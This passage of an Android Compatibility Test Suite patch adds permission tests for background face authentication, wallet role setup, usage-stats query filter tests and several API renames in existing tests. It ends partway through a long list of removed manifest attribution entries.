+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics.face;
+
+import static android.hardware.biometrics.Flags.FLAG_FACE_BACKGROUND_AUTHENTICATION;
+import static android.Manifest.permission.USE_BACKGROUND_FACE_AUTHENTICATION;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertThrows;
+
+import android.content.Context;
+import android.hardware.biometrics.BiometricPrompt;
+import android.hardware.face.FaceManager;
+import android.platform.test.annotations.Presubmit;
+import android.platform.test.annotations.RequiresFlagsEnabled;
+import android.platform.test.flag.junit.CheckFlagsRule;
+import android.platform.test.flag.junit.DeviceFlagsValueProvider;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.EnsureDoesNotHavePermission;
+import com.android.bedstead.harrier.annotations.EnsureHasPermission;
+import com.android.bedstead.nene.TestApis;
+import com.android.compatibility.common.util.ApiTest;
+
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(BedsteadJUnit4.class)
+@Presubmit
+public class FaceManagerTests {
+ @Rule(order = 0)
+ public final CheckFlagsRule mCheckFlagsRule = DeviceFlagsValueProvider.createCheckFlagsRule();
+
+ @ClassRule
+ @Rule(order = 1)
+ public static final DeviceState sDeviceState = new DeviceState();
+
+ private static final Context sContext = TestApis.context().instrumentedContext();
+ private static final FaceManager sFaceManager =
+ sContext.getSystemService(FaceManager.class);
+
+ // TODO(b/319198966): Add CTS test cases to verify the actual behavior.
+ /** Make sure the {@link FaceManager} can be correctly obtained. */
+ @RequiresFlagsEnabled(FLAG_FACE_BACKGROUND_AUTHENTICATION)
+ @ApiTest(apis = {"android.content.Context#FACE_SERVICE"})
+ @Test
+ public void getSystemService() {
+ assertEquals((FaceManager) sContext.getSystemService(android.content.Context.FACE_SERVICE),
+ sContext.getSystemService(FaceManager.class));
+ }
+
+ /**
+ * Tests that the privileged apps with {@link USE_BACKGROUND_FACE_AUTHENTICATION} permission
+ * have the access to the background face authentication method.
+ */
+ @RequiresFlagsEnabled(FLAG_FACE_BACKGROUND_AUTHENTICATION)
+ @EnsureHasPermission(USE_BACKGROUND_FACE_AUTHENTICATION)
+ @ApiTest(apis = {"android.hardware.face.FaceManager#authenticateInBackground"})
+ @Test
+ public void authenticateInBackground_withPermission_pass() {
+ sFaceManager.authenticateInBackground(
+ null /* executor */,
+ null /* crypto */,
+ null /* cancel */,
+ new BiometricPrompt.AuthenticationCallback() {});
+ }
+
+ /**
+ * Tests that the privileged apps with {@link USE_BACKGROUND_FACE_AUTHENTICATION} permission
+ * have the access to the face enrollment status query.
+ */
+ @RequiresFlagsEnabled(FLAG_FACE_BACKGROUND_AUTHENTICATION)
+ @EnsureHasPermission(USE_BACKGROUND_FACE_AUTHENTICATION)
+ @ApiTest(apis = {"android.hardware.face.FaceManager#hasEnrolledTemplates"})
+ @Test
+ public void hasEnrolledTemplates_withPermission_pass() {
+ boolean unused = sFaceManager.hasEnrolledTemplates();
+ }
+
+ /**
+ * Tests that the apps without {@link USE_BACKGROUND_FACE_AUTHENTICATION} permission do not have
+ * the access to the background face authentication method.
+ */
+ @RequiresFlagsEnabled(FLAG_FACE_BACKGROUND_AUTHENTICATION)
+ @EnsureDoesNotHavePermission(USE_BACKGROUND_FACE_AUTHENTICATION)
+ @ApiTest(apis = {"android.hardware.face.FaceManager#authenticateInBackground"})
+ @Test
+ public void authenticateInBackground_withoutPermission_throwsSecurityException() {
+ assertThrows(SecurityException.class, () -> sFaceManager.authenticateInBackground(
+ null /* executor */,
+ null /* crypto */,
+ null /* cancel */,
+ new BiometricPrompt.AuthenticationCallback() {}));
+ }
+
+ /**
+ * Tests that the apps without {@link USE_BACKGROUND_FACE_AUTHENTICATION} permission do not have
+ * the access to the face enrollment status query.
+ */
+ @RequiresFlagsEnabled(FLAG_FACE_BACKGROUND_AUTHENTICATION)
+ @EnsureDoesNotHavePermission(USE_BACKGROUND_FACE_AUTHENTICATION)
+ @ApiTest(apis = {"android.hardware.face.FaceManager#hasEnrolledTemplates"})
+ @Test
+ public void hasEnrolledTemplates_withoutPermission_throwsSecurityException() {
+ assertThrows(SecurityException.class, sFaceManager::hasEnrolledTemplates);
+ }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/activity/ActivityTransitionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/activity/ActivityTransitionTests.java
index 1a71b55..36808a7 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/activity/ActivityTransitionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/activity/ActivityTransitionTests.java
@@ -34,6 +34,7 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
import android.app.Activity;
import android.app.ActivityOptions;
@@ -275,6 +276,11 @@
*/
@Test
public void testAnimationBackgroundColorIsUsedDuringActivityTransition() {
+ // TODO (b/319637823): Find proper fix for background overriding in ActivityTransitionTests
+ // This test expects the default task display area to show a red color during the
+ // transition. But since in auto split screen UI, the launcher activity is always
+ // shown, no screenshot of the test would return the red background color.
+ assumeFalse(hasAutomotiveSplitscreenMultitaskingFeature());
final int backgroundColor = Color.RED;
final ActivityOptions activityOptions = ActivityOptions.makeCustomAnimation(mContext,
R.anim.alpha_0_with_red_backdrop, R.anim.alpha_0_with_red_backdrop);
@@ -292,6 +298,11 @@
*/
@Test
public void testCustomTransitionCanOverrideBackgroundColor() {
+ // TODO (b/319637823): Find proper fix for background overriding in ActivityTransitionTests
+ // This test expects the default task display area to show a green color during the
+ // transition. But since in auto split screen UI, the launcher activity is always
+ // shown, no screenshot of the test would return the green background color.
+ assumeFalse(hasAutomotiveSplitscreenMultitaskingFeature());
final int backgroundColor = Color.GREEN;
final ActivityOptions activityOptions = ActivityOptions.makeCustomAnimation(mContext,
R.anim.alpha_0_with_backdrop, R.anim.alpha_0_with_backdrop, backgroundColor
@@ -310,6 +321,11 @@
*/
@Test
public void testPendingTransitionCanOverrideBackgroundColor() {
+ // TODO (b/319637823): Find proper fix for background overriding in ActivityTransitionTests
+ // This test expects the default task display area to show a green color during the
+ // transition. But since in auto split screen UI, the launcher activity is always
+ // shown, no screenshot of the test would return the green background color.
+ assumeFalse(hasAutomotiveSplitscreenMultitaskingFeature());
final int backgroundColor = Color.GREEN;
final Bundle extras = new Bundle();
@@ -326,6 +342,11 @@
@Test
public void testSetTransitionCanOverrideBackgroundColor() {
+ // TODO (b/319637823): Find proper fix for background overriding in ActivityTransitionTests
+ // This test expects the default task display area to show a green color during the
+ // transition. But since in auto split screen UI, the launcher activity is always
+ // shown, no screenshot of the test would return the green background color.
+ assumeFalse(hasAutomotiveSplitscreenMultitaskingFeature());
final int backgroundColor = Color.GREEN;
final Bundle extras = new Bundle();
diff --git a/tests/input/src/android/input/cts/DrawingTabletTest.kt b/tests/input/src/android/input/cts/DrawingTabletTest.kt
index 37a583f..0102a70 100644
--- a/tests/input/src/android/input/cts/DrawingTabletTest.kt
+++ b/tests/input/src/android/input/cts/DrawingTabletTest.kt
@@ -24,7 +24,6 @@
import android.input.cts.VirtualDisplayActivityScenarioRule.Companion.ORIENTATION_270
import android.input.cts.VirtualDisplayActivityScenarioRule.Companion.ORIENTATION_90
import android.input.cts.VirtualDisplayActivityScenarioRule.Companion.WIDTH
-import android.util.Size
import android.view.InputDevice
import android.view.MotionEvent
import androidx.test.ext.junit.runners.AndroidJUnit4
@@ -59,7 +58,8 @@
virtualDisplayRule.virtualDisplay.display,
R.raw.test_drawing_tablet_register,
InputDevice.SOURCE_MOUSE or InputDevice.SOURCE_STYLUS,
- Size(WIDTH, HEIGHT),
+ /*useDisplaySize*/
+ true,
)
verifier = EventVerifier(virtualDisplayRule.activity::getInputEvent)
}
diff --git a/tests/input/src/android/input/cts/MotionEventIsResampledTest.kt b/tests/input/src/android/input/cts/MotionEventIsResampledTest.kt
index 42f05b4..be9dbe3 100644
--- a/tests/input/src/android/input/cts/MotionEventIsResampledTest.kt
+++ b/tests/input/src/android/input/cts/MotionEventIsResampledTest.kt
@@ -17,12 +17,9 @@
package android.input.cts
import android.graphics.Point
-import android.input.cts.VirtualDisplayActivityScenarioRule.Companion.HEIGHT
-import android.input.cts.VirtualDisplayActivityScenarioRule.Companion.WIDTH
import android.platform.test.annotations.RequiresFlagsEnabled
import android.platform.test.flag.junit.DeviceFlagsValueProvider
import android.util.Log
-import android.util.Size
import android.view.InputDevice
import android.view.MotionEvent
import androidx.test.ext.junit.runners.AndroidJUnit4
@@ -71,7 +68,8 @@
virtualDisplayRule.virtualDisplay.display,
R.raw.test_touchscreen_register,
InputDevice.SOURCE_TOUCHSCREEN,
- Size(WIDTH, HEIGHT),
+ /*useDisplaySize*/
+ true,
)
verifier = EventVerifier(virtualDisplayRule.activity::getInputEvent)
}
diff --git a/tests/input/src/android/input/cts/StylusButtonInputEventTest.kt b/tests/input/src/android/input/cts/StylusButtonInputEventTest.kt
index 07ffaba..f5a4d70 100644
--- a/tests/input/src/android/input/cts/StylusButtonInputEventTest.kt
+++ b/tests/input/src/android/input/cts/StylusButtonInputEventTest.kt
@@ -18,9 +18,6 @@
import android.app.StatusBarManager
import android.graphics.Point
-import android.input.cts.VirtualDisplayActivityScenarioRule.Companion.HEIGHT
-import android.input.cts.VirtualDisplayActivityScenarioRule.Companion.WIDTH
-import android.util.Size
import android.view.InputDevice.SOURCE_KEYBOARD
import android.view.InputDevice.SOURCE_STYLUS
import android.view.InputDevice.SOURCE_TOUCHSCREEN
@@ -159,7 +156,8 @@
virtualDisplayRule.virtualDisplay.display,
R.raw.test_capacitive_stylus_register,
SOURCE_TOUCHSCREEN or SOURCE_STYLUS,
- Size(WIDTH, HEIGHT),
+ /*useDisplaySize*/
+ true,
).use { uinputStylus ->
val pointer = Point(100, 100)
for (button in LINUX_KEYCODE_TO_MOTIONEVENT_BUTTON.entries.iterator()) {
@@ -217,7 +215,8 @@
virtualDisplayRule.virtualDisplay.display,
R.raw.test_capacitive_stylus_register,
SOURCE_TOUCHSCREEN or SOURCE_STYLUS,
- Size(WIDTH, HEIGHT),
+ /*useDisplaySize*/
+ true,
).use { uinputStylus ->
val pointer = Point(100, 100)
for (button in LINUX_KEYCODE_TO_MOTIONEVENT_BUTTON.entries.iterator()) {
diff --git a/tests/input/src/android/input/cts/TouchScreenTest.kt b/tests/input/src/android/input/cts/TouchScreenTest.kt
index dd896c3..8fe9d85 100644
--- a/tests/input/src/android/input/cts/TouchScreenTest.kt
+++ b/tests/input/src/android/input/cts/TouchScreenTest.kt
@@ -25,7 +25,6 @@
import android.input.cts.VirtualDisplayActivityScenarioRule.Companion.ORIENTATION_270
import android.input.cts.VirtualDisplayActivityScenarioRule.Companion.ORIENTATION_90
import android.input.cts.VirtualDisplayActivityScenarioRule.Companion.WIDTH
-import android.util.Size
import android.view.InputDevice
import androidx.test.ext.junit.runners.AndroidJUnit4
import androidx.test.filters.MediumTest
@@ -62,7 +61,8 @@
virtualDisplayRule.virtualDisplay.display,
R.raw.test_touchscreen_register,
InputDevice.SOURCE_TOUCHSCREEN,
- Size(WIDTH, HEIGHT),
+ /*useDisplaySize*/
+ true,
)
verifier = EventVerifier(virtualDisplayRule.activity::getInputEvent)
}
diff --git a/tests/quickaccesswallet/src/android/quickaccesswallet/cts/QuickAccessWalletClientTest.java b/tests/quickaccesswallet/src/android/quickaccesswallet/cts/QuickAccessWalletClientTest.java
index b7a4609..513e3fa 100755
--- a/tests/quickaccesswallet/src/android/quickaccesswallet/cts/QuickAccessWalletClientTest.java
+++ b/tests/quickaccesswallet/src/android/quickaccesswallet/cts/QuickAccessWalletClientTest.java
@@ -15,12 +15,15 @@
*/
package android.quickaccesswallet.cts;
+import static android.Manifest.permission.MANAGE_DEFAULT_APPLICATIONS;
+
import static com.google.common.truth.Truth.assertThat;
import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
import android.app.PendingIntent;
+import android.app.role.RoleManager;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
@@ -56,6 +59,8 @@
import com.android.compatibility.common.util.UserSettings;
+import com.google.common.util.concurrent.MoreExecutors;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
@@ -67,6 +72,7 @@
import java.util.List;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
/**
* Tests parceling of the {@link WalletCard}
@@ -96,12 +102,17 @@
mDefaultPaymentApp = mUserSettings.get(NFC_PAYMENT_DEFAULT_COMPONENT);
ComponentName component =
ComponentName.createRelative(mContext, TestHostApduService.class.getName());
- mUserSettings.syncSet(NFC_PAYMENT_DEFAULT_COMPONENT, component.flattenToString());
+ // setDefaultWalletRoleHolder only succeeds if the Flag is enabled. If it fails, indicating
+ // that the flag is not enabled, we set the default payment component and test the flow
+ // without the wallet role.
+ if (!setDefaultWalletRoleHolder(mContext, component.getPackageName())) {
+ mUserSettings.syncSet(NFC_PAYMENT_DEFAULT_COMPONENT, component.flattenToString());
+ }
TestQuickAccessWalletService.resetStaticFields();
}
@After
- public void tearDown() {
+ public void tearDown() throws InterruptedException {
// Restore saved default payment app
mUserSettings.syncSet(NFC_PAYMENT_DEFAULT_COMPONENT, mDefaultPaymentApp);
@@ -608,4 +619,27 @@
mLatch.await(time, unit);
}
}
+
+
+ private static boolean setDefaultWalletRoleHolder(Context context, String packageName)
+ throws InterruptedException {
+ androidx.test.platform.app.InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation().adoptShellPermissionIdentity(MANAGE_DEFAULT_APPLICATIONS);
+ try {
+ RoleManager roleManager = context.getSystemService(RoleManager.class);
+ CountDownLatch countDownLatch = new CountDownLatch(1);
+ AtomicReference<Boolean> result = new AtomicReference<>(false);
+ roleManager.setDefaultApplication(RoleManager.ROLE_WALLET,
+ packageName, 0,
+ MoreExecutors.directExecutor(), aBoolean -> {
+ result.set(aBoolean);
+ countDownLatch.countDown();
+ });
+ countDownLatch.await(2000, TimeUnit.MILLISECONDS);
+ return result.get();
+ } finally {
+ androidx.test.platform.app.InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation().dropShellPermissionIdentity();
+ }
+ }
}
diff --git a/tests/surfacecontrol/src/android/view/surfacecontrol/cts/SurfaceControlTest.java b/tests/surfacecontrol/src/android/view/surfacecontrol/cts/SurfaceControlTest.java
index 1fceb36..97c3ede 100644
--- a/tests/surfacecontrol/src/android/view/surfacecontrol/cts/SurfaceControlTest.java
+++ b/tests/surfacecontrol/src/android/view/surfacecontrol/cts/SurfaceControlTest.java
@@ -120,7 +120,7 @@
private ASurfaceControlTestActivity mActivity;
- private long mDesiredPresentTime;
+ private long mDesiredPresentTimeNanos;
@Before
public void setup() {
@@ -1439,13 +1439,13 @@
class OnCompleteListenerHelper {
private CountDownLatch mLatch = new CountDownLatch(1);
- private long mLatchTime;
+ private long mLatchTimeNanos;
private SyncFence mPresentFence;
SurfaceControl.Transaction getTransaction() {
return makeTransactionWithListener().addTransactionCompletedListener(
Runnable::run, stats -> {
- mLatchTime = stats.getLatchTime();
+ mLatchTimeNanos = stats.getLatchTimeNanos();
mPresentFence = stats.getPresentFence();
mLatch.countDown();
});
@@ -1459,8 +1459,8 @@
return mPresentFence;
}
- long getLatchTime() {
- return mLatchTime;
+ long getLatchTimeNanos() {
+ return mLatchTimeNanos;
}
void close() {
@@ -1485,8 +1485,8 @@
setSolidBuffer(surfaceControl, tx, DEFAULT_LAYOUT_WIDTH,
DEFAULT_LAYOUT_HEIGHT, Color.RED);
- mDesiredPresentTime = System.nanoTime();
- tx.setDesiredPresentTime(mDesiredPresentTime).apply();
+ mDesiredPresentTimeNanos = System.nanoTime();
+ tx.setDesiredPresentTimeNanos(mDesiredPresentTimeNanos).apply();
}
},
new PixelChecker(Color.RED) { //10000
@@ -1497,13 +1497,13 @@
}, 1);
helper.waitForStats();
- assertTrue(helper.getLatchTime() > 0);
+ assertTrue(helper.getLatchTimeNanos() > 0);
assertTrue(helper.getPresentFence() != null);
assertTrue(helper.getPresentFence().await(Duration.ofSeconds(5)));
assertTrue("transaction was presented too early. presentTime="
+ helper.getPresentFence().getSignalTime(),
- helper.getPresentFence().getSignalTime() >= mDesiredPresentTime);
+ helper.getPresentFence().getSignalTime() >= mDesiredPresentTimeNanos);
helper.close();
}
@@ -1523,8 +1523,8 @@
setSolidBuffer(surfaceControl, tx, DEFAULT_LAYOUT_WIDTH,
DEFAULT_LAYOUT_HEIGHT, Color.RED);
- mDesiredPresentTime = System.nanoTime() + 30_000_000;
- tx.setDesiredPresentTime(mDesiredPresentTime).apply();
+ mDesiredPresentTimeNanos = System.nanoTime() + 30_000_000;
+ tx.setDesiredPresentTimeNanos(mDesiredPresentTimeNanos).apply();
}
},
new PixelChecker(Color.RED) { //10000
@@ -1535,12 +1535,12 @@
}, 1);
helper.waitForStats();
- assertTrue(helper.getLatchTime() > 0);
+ assertTrue(helper.getLatchTimeNanos() > 0);
assertTrue(helper.getPresentFence() != null);
assertTrue(helper.getPresentFence().await(Duration.ofSeconds(5)));
assertTrue("transaction was presented too early. presentTime="
+ helper.getPresentFence().getSignalTime(),
- helper.getPresentFence().getSignalTime() >= mDesiredPresentTime);
+ helper.getPresentFence().getSignalTime() >= mDesiredPresentTimeNanos);
helper.close();
}
@@ -1560,8 +1560,8 @@
setSolidBuffer(surfaceControl, tx, DEFAULT_LAYOUT_WIDTH,
DEFAULT_LAYOUT_HEIGHT, Color.RED);
- mDesiredPresentTime = System.nanoTime() + 100_000_000;
- tx.setDesiredPresentTime(mDesiredPresentTime).apply();
+ mDesiredPresentTimeNanos = System.nanoTime() + 100_000_000;
+ tx.setDesiredPresentTimeNanos(mDesiredPresentTimeNanos).apply();
}
},
new PixelChecker(Color.RED) { //10000
@@ -1572,12 +1572,12 @@
}, 1);
helper.waitForStats();
- assertTrue(helper.getLatchTime() > 0);
+ assertTrue(helper.getLatchTimeNanos() > 0);
assertTrue(helper.getPresentFence() != null);
assertTrue(helper.getPresentFence().await(Duration.ofSeconds(5)));
assertTrue("transaction was presented too early. presentTime="
+ helper.getPresentFence().getSignalTime(),
- helper.getPresentFence().getSignalTime() >= mDesiredPresentTime);
+ helper.getPresentFence().getSignalTime() >= mDesiredPresentTimeNanos);
helper.close();
}
@@ -1596,7 +1596,7 @@
public void onVsync(@NonNull Choreographer.FrameData frameData) {
long periodNanos = (long) (1e9 / mActivity.getDisplay().getRefreshRate());
long threshold = periodNanos / 2;
- mDesiredPresentTime = frameData.getPreferredFrameTimeline()
+ mDesiredPresentTimeNanos = frameData.getPreferredFrameTimeline()
.getExpectedPresentationTimeNanos() - threshold;
transaction[0].setFrameTimeline(
frameData.getPreferredFrameTimeline().getVsyncId()).apply();
@@ -1623,12 +1623,12 @@
}, 1);
helper.waitForStats();
- assertTrue(helper.getLatchTime() > 0);
+ assertTrue(helper.getLatchTimeNanos() > 0);
assertTrue(helper.getPresentFence() != null);
assertTrue(helper.getPresentFence().await(Duration.ofSeconds(5)));
assertTrue("transaction was presented too early. presentTime="
+ helper.getPresentFence().getSignalTime(),
- helper.getPresentFence().getSignalTime() >= mDesiredPresentTime);
+ helper.getPresentFence().getSignalTime() >= mDesiredPresentTimeNanos);
helper.close();
}
@@ -1650,7 +1650,8 @@
long threshold = periodNanos / 2;
Choreographer.FrameTimeline[] timelines = frameData.getFrameTimelines();
Choreographer.FrameTimeline lastTimeline = timelines[timelines.length - 1];
- mDesiredPresentTime = lastTimeline.getExpectedPresentationTimeNanos() - threshold;
+ mDesiredPresentTimeNanos =
+ lastTimeline.getExpectedPresentationTimeNanos() - threshold;
transaction[0].setFrameTimeline(lastTimeline.getVsyncId()).apply();
}
};
@@ -1674,12 +1675,12 @@
}, 1);
helper.waitForStats();
- assertTrue(helper.getLatchTime() > 0);
+ assertTrue(helper.getLatchTimeNanos() > 0);
assertTrue(helper.getPresentFence() != null);
assertTrue(helper.getPresentFence().await(Duration.ofSeconds(5)));
assertTrue("transaction was presented too early. presentTime="
+ helper.getPresentFence().getSignalTime(),
- helper.getPresentFence().getSignalTime() >= mDesiredPresentTime);
+ helper.getPresentFence().getSignalTime() >= mDesiredPresentTimeNanos);
helper.close();
}
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index 31b293f..18136a5 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -29,6 +29,7 @@
import static android.text.format.DateUtils.HOUR_IN_MILLIS;
import static android.text.format.DateUtils.MINUTE_IN_MILLIS;
+import static org.junit.Assert.assertArrayEquals;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotEquals;
@@ -1871,8 +1872,8 @@
UsageEvents events = null;
if (filteredEvents) {
UsageEventsQuery query = new UsageEventsQuery.Builder(startTime, endTime)
- .addEventTypes(Event.FOREGROUND_SERVICE_START)
- .addEventTypes(Event.FOREGROUND_SERVICE_STOP)
+ .setEventTypes(Event.FOREGROUND_SERVICE_START,
+ Event.FOREGROUND_SERVICE_STOP)
.build();
events = mUsageStatsManager.queryEvents(query);
} else {
@@ -2479,9 +2480,8 @@
final long startTime = endTime - MINUTE_IN_MILLIS;
Random rnd = new Random();
UsageEventsQuery.Builder queryBuilder = new UsageEventsQuery.Builder(startTime, endTime);
- for (int i = 0; i < Event.MAX_EVENT_TYPE + 1; i++) {
- queryBuilder.addEventTypes(rnd.nextInt(Event.MAX_EVENT_TYPE + 1));
- }
+ queryBuilder.setEventTypes(rnd.nextInt(Event.MAX_EVENT_TYPE + 1),
+ rnd.nextInt(Event.MAX_EVENT_TYPE + 1), rnd.nextInt(Event.MAX_EVENT_TYPE + 1));
UsageEventsQuery query = queryBuilder.build();
Parcel p = Parcel.obtain();
p.setDataPosition(0);
@@ -2491,19 +2491,19 @@
UsageEventsQuery queryFromParcel = UsageEventsQuery.CREATOR.createFromParcel(p);
assertEquals(query.getBeginTimeMillis(), queryFromParcel.getBeginTimeMillis());
assertEquals(query.getEndTimeMillis(), queryFromParcel.getEndTimeMillis());
- assertTrue(query.getEventTypes().equals(queryFromParcel.getEventTypes()));
+ assertArrayEquals(query.getEventTypes(), queryFromParcel.getEventTypes());
}
@AppModeFull(reason = "No usage events access in instant apps")
@RequiresFlagsEnabled(Flags.FLAG_FILTER_BASED_EVENT_QUERY_API)
@Test
- public void testQueryEventsWithFilter() throws Exception {
+ public void testQueryEventsWithEventTypeFilter() throws Exception {
final long endTime = System.currentTimeMillis() - MINUTE_IN_MILLIS;
final long startTime = Math.max(0, endTime - HOUR_IN_MILLIS); // 1 hour
UsageEvents unfilteredEvents = mUsageStatsManager.queryEvents(startTime, endTime);
UsageEventsQuery query = new UsageEventsQuery.Builder(startTime, endTime)
- .addEventTypes(Event.ACTIVITY_RESUMED, Event.ACTIVITY_PAUSED)
+ .setEventTypes(Event.ACTIVITY_RESUMED, Event.ACTIVITY_PAUSED)
.build();
UsageEvents filteredEvents = mUsageStatsManager.queryEvents(query);
ArrayList<Event> filteredEventList = new ArrayList<>();
@@ -2549,6 +2549,57 @@
compareUsageEventList(unfilteredEventList, filteredEventList);
}
+ @AppModeFull(reason = "No usage events access in instant apps")
+ @RequiresFlagsEnabled(Flags.FLAG_FILTER_BASED_EVENT_QUERY_API)
+ @Test
+ public void testQueryEventsWithPackageFilter() throws Exception {
+ final String fakePackageName = "android.fake.package.name";
+ final long endTime = System.currentTimeMillis() - MINUTE_IN_MILLIS;
+ final long startTime = Math.max(0, endTime - HOUR_IN_MILLIS); // 1 hour
+
+ UsageEventsQuery query = new UsageEventsQuery.Builder(startTime, endTime)
+ .setPackageNames(fakePackageName)
+ .build();
+ UsageEvents filteredEvents = mUsageStatsManager.queryEvents(query);
+ // Query for a fake package should get no usage event.
+ assertFalse(filteredEvents.hasNextEvent());
+
+ UsageEvents unfilteredEvents = mUsageStatsManager.queryEvents(startTime, endTime);
+ query = new UsageEventsQuery.Builder(startTime, endTime)
+ .setEventTypes(Event.ACTIVITY_RESUMED, Event.ACTIVITY_PAUSED)
+ .setPackageNames(TEST_APP_PKG, TEST_APP2_PKG)
+ .build();
+ filteredEvents = mUsageStatsManager.queryEvents(query);
+ ArrayList<Event> filteredEventList = new ArrayList<>();
+ ArrayList<Event> unfilteredEventList = new ArrayList<>();
+ while (unfilteredEvents.hasNextEvent()) {
+ final Event event = new Event();
+ unfilteredEvents.getNextEvent(event);
+ if (event.getEventType() != Event.ACTIVITY_RESUMED
+ && event.getEventType() != Event.ACTIVITY_PAUSED) {
+ continue;
+ }
+ final String pkgName = event.getPackageName();
+ if (!TEST_APP_PKG.equals(pkgName)
+ && !TEST_APP2_PKG.equals(pkgName)) {
+ continue;
+ }
+ unfilteredEventList.add(event);
+ }
+
+ while (filteredEvents.hasNextEvent()) {
+ final Event event = new Event();
+ filteredEvents.getNextEvent(event);
+ assertTrue(event.getEventType() == Event.ACTIVITY_RESUMED
+ || event.getEventType() == Event.ACTIVITY_PAUSED);
+ final String pkgName = event.getPackageName();
+ assertTrue(TEST_APP_PKG.equals(pkgName) || TEST_APP2_PKG.equals(pkgName));
+ filteredEventList.add(event);
+ }
+
+ compareUsageEventList(unfilteredEventList, filteredEventList);
+ }
+
private static void compareUsageEventList(List<Event> unfilteredEventList,
List<Event> filteredEventList) {
// There should be same number of usage events.
diff --git a/tests/tests/appop/AppWithTooManyAttributions/AndroidManifest.xml b/tests/tests/appop/AppWithTooManyAttributions/AndroidManifest.xml
index 0df2178..2a48a65 100644
--- a/tests/tests/appop/AppWithTooManyAttributions/AndroidManifest.xml
+++ b/tests/tests/appop/AppWithTooManyAttributions/AndroidManifest.xml
@@ -420,9606 +420,6 @@
<attribution android:tag="f397" android:label="@string/dummyLabel" />
<attribution android:tag="f398" android:label="@string/dummyLabel" />
<attribution android:tag="f399" android:label="@string/dummyLabel" />
- <attribution android:tag="f400" android:label="@string/dummyLabel" />
- <attribution android:tag="f401" android:label="@string/dummyLabel" />
- <attribution android:tag="f402" android:label="@string/dummyLabel" />
- <attribution android:tag="f403" android:label="@string/dummyLabel" />
- <attribution android:tag="f404" android:label="@string/dummyLabel" />
- <attribution android:tag="f405" android:label="@string/dummyLabel" />
- <attribution android:tag="f406" android:label="@string/dummyLabel" />
- <attribution android:tag="f407" android:label="@string/dummyLabel" />
- <attribution android:tag="f408" android:label="@string/dummyLabel" />
- <attribution android:tag="f409" android:label="@string/dummyLabel" />
- <attribution android:tag="f410" android:label="@string/dummyLabel" />
- <attribution android:tag="f411" android:label="@string/dummyLabel" />
- <attribution android:tag="f412" android:label="@string/dummyLabel" />
- <attribution android:tag="f413" android:label="@string/dummyLabel" />
- <attribution android:tag="f414" android:label="@string/dummyLabel" />
- <attribution android:tag="f415" android:label="@string/dummyLabel" />
- <attribution android:tag="f416" android:label="@string/dummyLabel" />
- <attribution android:tag="f417" android:label="@string/dummyLabel" />
- <attribution android:tag="f418" android:label="@string/dummyLabel" />
- <attribution android:tag="f419" android:label="@string/dummyLabel" />
- <attribution android:tag="f420" android:label="@string/dummyLabel" />
- <attribution android:tag="f421" android:label="@string/dummyLabel" />
- <attribution android:tag="f422" android:label="@string/dummyLabel" />
- <attribution android:tag="f423" android:label="@string/dummyLabel" />
- <attribution android:tag="f424" android:label="@string/dummyLabel" />
- <attribution android:tag="f425" android:label="@string/dummyLabel" />
- <attribution android:tag="f426" android:label="@string/dummyLabel" />
- <attribution android:tag="f427" android:label="@string/dummyLabel" />
- <attribution android:tag="f428" android:label="@string/dummyLabel" />
- <attribution android:tag="f429" android:label="@string/dummyLabel" />
- <attribution android:tag="f430" android:label="@string/dummyLabel" />
- <attribution android:tag="f431" android:label="@string/dummyLabel" />
- <attribution android:tag="f432" android:label="@string/dummyLabel" />
- <attribution android:tag="f433" android:label="@string/dummyLabel" />
- <attribution android:tag="f434" android:label="@string/dummyLabel" />
- <attribution android:tag="f435" android:label="@string/dummyLabel" />
- <attribution android:tag="f436" android:label="@string/dummyLabel" />
- <attribution android:tag="f437" android:label="@string/dummyLabel" />
- <attribution android:tag="f438" android:label="@string/dummyLabel" />
- <attribution android:tag="f439" android:label="@string/dummyLabel" />
- <attribution android:tag="f440" android:label="@string/dummyLabel" />
- <attribution android:tag="f441" android:label="@string/dummyLabel" />
- <attribution android:tag="f442" android:label="@string/dummyLabel" />
- <attribution android:tag="f443" android:label="@string/dummyLabel" />
- <attribution android:tag="f444" android:label="@string/dummyLabel" />
- <attribution android:tag="f445" android:label="@string/dummyLabel" />
- <attribution android:tag="f446" android:label="@string/dummyLabel" />
- <attribution android:tag="f447" android:label="@string/dummyLabel" />
- <attribution android:tag="f448" android:label="@string/dummyLabel" />
- <attribution android:tag="f449" android:label="@string/dummyLabel" />
- <attribution android:tag="f450" android:label="@string/dummyLabel" />
- <attribution android:tag="f451" android:label="@string/dummyLabel" />
- <attribution android:tag="f452" android:label="@string/dummyLabel" />
- <attribution android:tag="f453" android:label="@string/dummyLabel" />
- <attribution android:tag="f454" android:label="@string/dummyLabel" />
- <attribution android:tag="f455" android:label="@string/dummyLabel" />
- <attribution android:tag="f456" android:label="@string/dummyLabel" />
